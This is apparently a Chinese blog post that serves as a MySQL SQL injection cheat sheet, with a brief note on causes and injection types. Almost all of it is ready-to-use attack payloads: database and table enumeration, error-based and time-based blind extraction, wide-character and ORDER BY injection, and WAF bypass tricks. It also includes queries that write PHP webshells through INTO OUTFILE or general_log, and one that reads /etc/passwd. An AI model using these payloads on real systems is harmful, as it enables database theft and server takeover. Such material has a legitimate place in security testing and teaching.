SQL 注入~MySQL专题

时间:2023-01-30 18:39:54

Recently,

团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的。今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获。                                

神奇的MySQL

SQl注入漏洞产生的原因

  • 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
  • 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL查询语句中。

SQl注入分类

  • 联合查询注入
  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的盲注
  • 堆查询注入

MySQL

  • 子字串:
    • substr("abc",1,1) => 'a'
    • mid("abc", 1, 1) => 'a'
    • substring("abc",1,1) => 'a'
  • Ascii function
    • ascii('A') => 65
  • Char function
    • char(65) => 'a'
  • Concatenation
    • CONCAT('a', 'b') => 'ab'
      • 如果任何一个为NULL,則返回NULL
    • CONCAT_WS(分隔符, 字串1, 字串2...)
      • CONCAT_WS('@', 'gg', 'inin') => gg@inin
  • Cast function
    • CAST('125e342.83' AS signed) => 125
    • CONVERT('23',SIGNED) => 23
  • Delay function
    • sleep(5)
    • BENCHMARK(count, expr)
  • 空白字符
    • 09 0A 0B 0C 0D A0 20
  • File-read function
    • LOAD_FILE('/etc/passwd')
  • File-write
    • INTO DUMPFILE
      • 通用binary (写入同一行)
    • INTO OUTFILE
      • 通用一般文本 (有换行)
    • 写webshell
      • 需知道可写路径
      • UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
    • 权限
      • SELECT file_priv FROM mysql.user
    • secure-file-priv
      • 限制MySQL导入导出
        • load_file, into outfile等
      • 运行时无法更改
      • MySQL 5.5.53前,该值预设为空(可以导入导出)
      • e.g. secure_file_priv=E:\
        • 限制导入导出只能在E:\下
      • e.g. secure_file_priv=null
        • 限制不允许导入导出
      • secure-file-priv限制下用general_log拿shell
    • SET global general_log='on';
    • SET global general_log_file='C:/phpStudy/WWW/cmd.php';
    • SELECT '<?php assert($_POST["cmd"]);?>';
  • IF语句
    • IF(condition,true-part,false-part)
    • SELECT IF (1=1,'true','false')   true
  • Hex
    • SELECT X'5061756c'; => paul
    • SELECT 0x5061756c; => paul
    • SELECT 0x5061756c+0 => 1348564332
    • SELECT load_file(0x2F6574632F706173737764);
      • /etc/passwd
    • 可绕过一些WAF
      • e.g. 用在不能使用单引号时(' => \')
      • CHAR()也可以达到类似效果
        • 'admin' => CHAR(97, 100, 109, 105, 110)
  • 注释:
    • #
    • --
    • /**/
      • 一个*/可以闭合前面多个/*
    • /*! 50001 select * from test */
      • 可探测版本
      • e.g. SELECT /*!32302 1/0, */ 1 FROM tablename
    • `
      • MySQL <= 5.5
    • ;
      • PDO支持多语句
  • information_schema
    • mysql >= 5.0
  • Stacking Query
    • 预设PHP+MySQL不支持Stacking Query
    • 但PDO可以Stacking Query
  • Others:
    • @@version
      • 同version()
    • user()
      • current_user
      • current_user()
      • current user
    • system_user()
      • database system user
    • database()
      • schema()
      • current database
    • @@basedir
      • MySQL安装路径
    • @@datadir
      • Location of db file
    • @@hostname
    • @@version_compile_os
      • Operating System
    • @@innodb_version
    • MD5()
    • SHA1()
    • COMPRESS() / UNCOMPRESS()
    • group_concat()
      • 合并多条结果
        • e.g. select group_concat(username) from users; 一次返回所有使用者名
    • greatest()
      • greatest(a, b)返回a, b中最大的
      • greatest(1, 2)=2
      • greatest(1, 2)=1
    • between a and b
      • 介于a到b之间
      • greatest(1, 2) between 1 and 3
    • regexp
      • SELECT 'abc' regexp '.*'
    • Collation
      • *_ci case insensitive collation 不区分大小写
      • *_cs case sensitive collation 区分大小写
      • *_bin binary case sensitive collation 区分大小写
    • 逻辑运算优先级

SQL 注入~MySQL专题

  • Union Based
    • 判断column数
      • union select 1,2,3...N
      • order by N 找最后一个成功的N
    • 测试
      • or 1=1--+
      • ' or 1=1--+
      • " or 1=1--+
      • ) or 1=1--+
      • ')or 1=1--+
      • ")or 1=1--+
      • "))or 1=1--+
      • and 1=1--+
      • and 1=2--+
      • 'and 1=1--+
      • 'and 1=2--+
      • "and 1=1--+
      • "and 1=2--+
    • AND 1=2 UNION SELECT 1, 2, password FROM admin--+
    • LIMIT N, M 跳过前N行,抓取M行
    • 爆数据库名
      • union select 1,2,schema_name from information_schema.schemata limit 1,1
      • union select 1,2,group_concat(schema_name) from information_schema.schemata
    • 爆表名
      • union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
      • union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mydb'
      • union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
    • 爆Column名
      • union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
      • union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='mydb'
    • MySQL User
      • SELECT CONCAT(user, ":" ,password) FROM mysql.user;
  • Error Based
    • 长度限制
      • 错误信息有长度限制
      • #define ERRMSGSIZE (512)
    • Overflow
      • MySQL > 5.5.5 overflow才会有错误信息
      • SELECT ~0 => 18446744073709551615
      • SELECT ~0 + 1 => ERROR
      • SELECT exp(709) => 8.218407461554972e307
      • SELECT exp(710) => ERROR
      • 若查询成功,则返回0
        • SELECT exp(~(SELECT * FROM (SELECT user())x));
        • ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
      • select (select(!x-~0)from(select(select user())x)a);
        • ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
        • MySQL > 5.5.53 不会显示查询结果
    • xpath
      • extractvalue (有长度限制,32位)
        • select extractvalue(1,concat(0x7e,(select @@version),0x7e));
          • ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
        • select extractvalue(1,concat(0x7e,(select database()),0x7e));
          • ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
        • AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
        • AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
        • AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
        • AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
        • AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
      • updatexml (有长度限制,32位)
        • select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
          • ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
        • select updatexml(1,concat(0x7e,(select database()),0x7e),1);
          • ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
        • AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)--
        • AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
        • AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
        • AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
        • AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
      • 主键重复
        • select count(*) from test group by concat(version(),floor(rand(0)*2));
          • ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
      • 其它函数(5.7)
        • select ST_PointFromGeoHash(version(),1);
        • select GTID_SUBTRACT(version(),1);
        • select GTID_SUBSET(version(),1);
        • select ST_LongFromGeoHash(version());
        • select ST_LatFromGeoHash(version());
    • 其余error
      • 未知表名报错
        • Select count(*) from aa
        • Table 'database().aa' doesn't exist
      • GeometryCollection()
      • id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
      • polygon()
      • id =1 AND polygon((select * from(select * from(select user())a)b))
      • multipoint()
      • id = 1 AND multipoint((select * from(select * from(select user())a)b))
      • multilinestring()
      • id = 1 AND multilinestring((select * from(select * from(select user())a)b))
      • linestring()
      • id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
      • multipolygon()
      • id =1 AND multipolygon((select * from(select * from(select user())a)b))
  • 爆库名、表名、字段名
    • 当过滤information_schema等关键字时,可以用下面方法爆库名
      • select 1,2,3 from users where 1=abc();
        • ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
    • 爆表名
      • select 1,2,3 from users where Polygon(id);
      • select 1,2,3 from users where linestring(id);
        • ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
    • 爆Column
      • select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
        • ERROR 1060 (42S21): Duplicate column name 'id'
      • select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
        • ERROR 1060 (42S21): Duplicate column name 'username'
  • Blind Based (Time/Boolean)
    • Boolean
      • True   ||   False
      • id=87 and length(user())>0
      • id=87 and length(user())>100
      • id=87 and ascii(substr(user(),1,1))>100
      • id=87 and ascii(mid(user(),1,1))>100
      • id=87 and ord(substr(user(),1,1))>100
      • id=87 and ord(mid(user(),1,1))>100
      • id=87 or ((select user()) regexp binary '^[a-z]')
    • Time
      • 用在什么结果都看不到时
      • Sleep()
        • id=87 and if(length(user())>0, sleep(10), 1)=1
          • id=87 and if(length(user())>100, sleep(10), 1)=1
          • id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1
      • benchmark()
        • If(ascii(substr(database(),1,1))>115,0, benchmark(100000,MD5('admin')))%23
  • 绕过空白检查
    • id=-1/**/UNION/**/SELECT/**/1,2,3
    • id=-1%09UNION%0DSELECT%0A1,2,3
    • id=(-1)UNION(SELECT(1),2,3)
  • 宽字符注入
    • addslashes()会让'变\'
    • 在GBK编码中,中文字用两个Bytes表示
      • 其他多字符编码也可
      • 但要低位范围有包含0x5c(\)
    • 第一个Byte要>128才是中文
    • %df' => %df\' => 运' (成功逃逸)
  • Order by注入
    • 可以通过asc、desc简单判断
      • ?sort=1 asc
      • ?sort=1 desc
    • 后面不能接UNION
    • 已知字段名 (可以盲注)
      • ?order=IF(1=1, username, password)
    • 利用报错
      • ?order=IF(1=1,1,(select 1 union select 2)) TRUE
      • ?order=IF(1=2,1,(select 1 union select 2)) ERROR
      • ?order=IF(1=1,1,(select 1 from information_schema.tables)) TRUE
      • ?order=IF(1=2,1,(select 1 from information_schema.tables)) ERROR
    • Time Based
      • ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 0 TRUE
      • ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
  • group by with rollup
    • ' or 1=1 group by pwd with rollup limit 1 offset 2#
  • 将字串换成纯数字
    • 字串 -> 16进位 -> 10进位
    • conv(hex(YOUR_DATA), 16, 10)
    • 还原:unhex(conv(DEC_DATA,10,16))
    • 需注意不要Overflow
  • 不使用逗号
    • LIMIT N, M => LIMIT M OFFSET N
    • mid(user(), 1, 1) => mid(user() from 1 for 1)
    • UNION SELECT 1,2,3 => UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
  • 快速查找带关键字的表
    • select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');
  • innodb
    • 表引擎为innodb
    • MySQL > 5.5
    • innodb_table_stats、innodb_table_index存放所有库名表名
    • select table_name from mysql.innodb_table_stats where database_name=库名;
  • Bypass WAF
    • 大小写绕过
      • select password => SelEcT password
    • 替换大小写绕过WAF
      • ?id=998 UNIunionON SEselectLECt 1,2,3,4,5,6 =>
        • ?id=998 UNION SELECt 1,2,3,4,5,6
    • 运用编码技术绕过
      • 如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,或者CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
    • 空白绕过
      • select password => select/**/password
      • select password => select(password)
      • select password => s%65lect%20password (URLencode)
      • select password => select%0apassword (URLencode)
        • %09, %0a, %0b, %0c, %0d, %a0
      • select password from admin => select password /*!from*/admin (MySQL注解)
      • ​​​​​​​​​​​​​​​​​​​​​information_schema.schemata => `information_schema`.schemata (绕关键字/空白)
        • select xxx from`information_schema`.schemata
    • 单引号绕过
      • select pass from user where id='admin' => select pass from user where id=0x61646d696e
        • id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))
    • 逗号绕过
      • substr('kaibro',1,1) => substr('kaibro' from 1 for 1)
      • LIMIT 0,1 => LIMIT 1 OFFSET 0 ()
    • 绕关键字
      • WHERE => HAVING
      • AND => &&
        • OR => ||
        • = => LIKE
        • a = 'b' => not a > 'b' and not a < 'b'
        • > 10 => not between 0 and 10
    • ​​​​​​​​​​​​​​case when特性
      • 实现多次不同的查询  id=case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end
        • select case when @nnctf is null then @nnctf:=2 else @nnctf:=@nnctf-1 end;
          • 第一次查询结果:id=2
          • 第二次查询结果:id=1
    • ?id=0e2union select 1,2,3 (科学计数法)
    • ?id=.1union select 1,2,3 (点)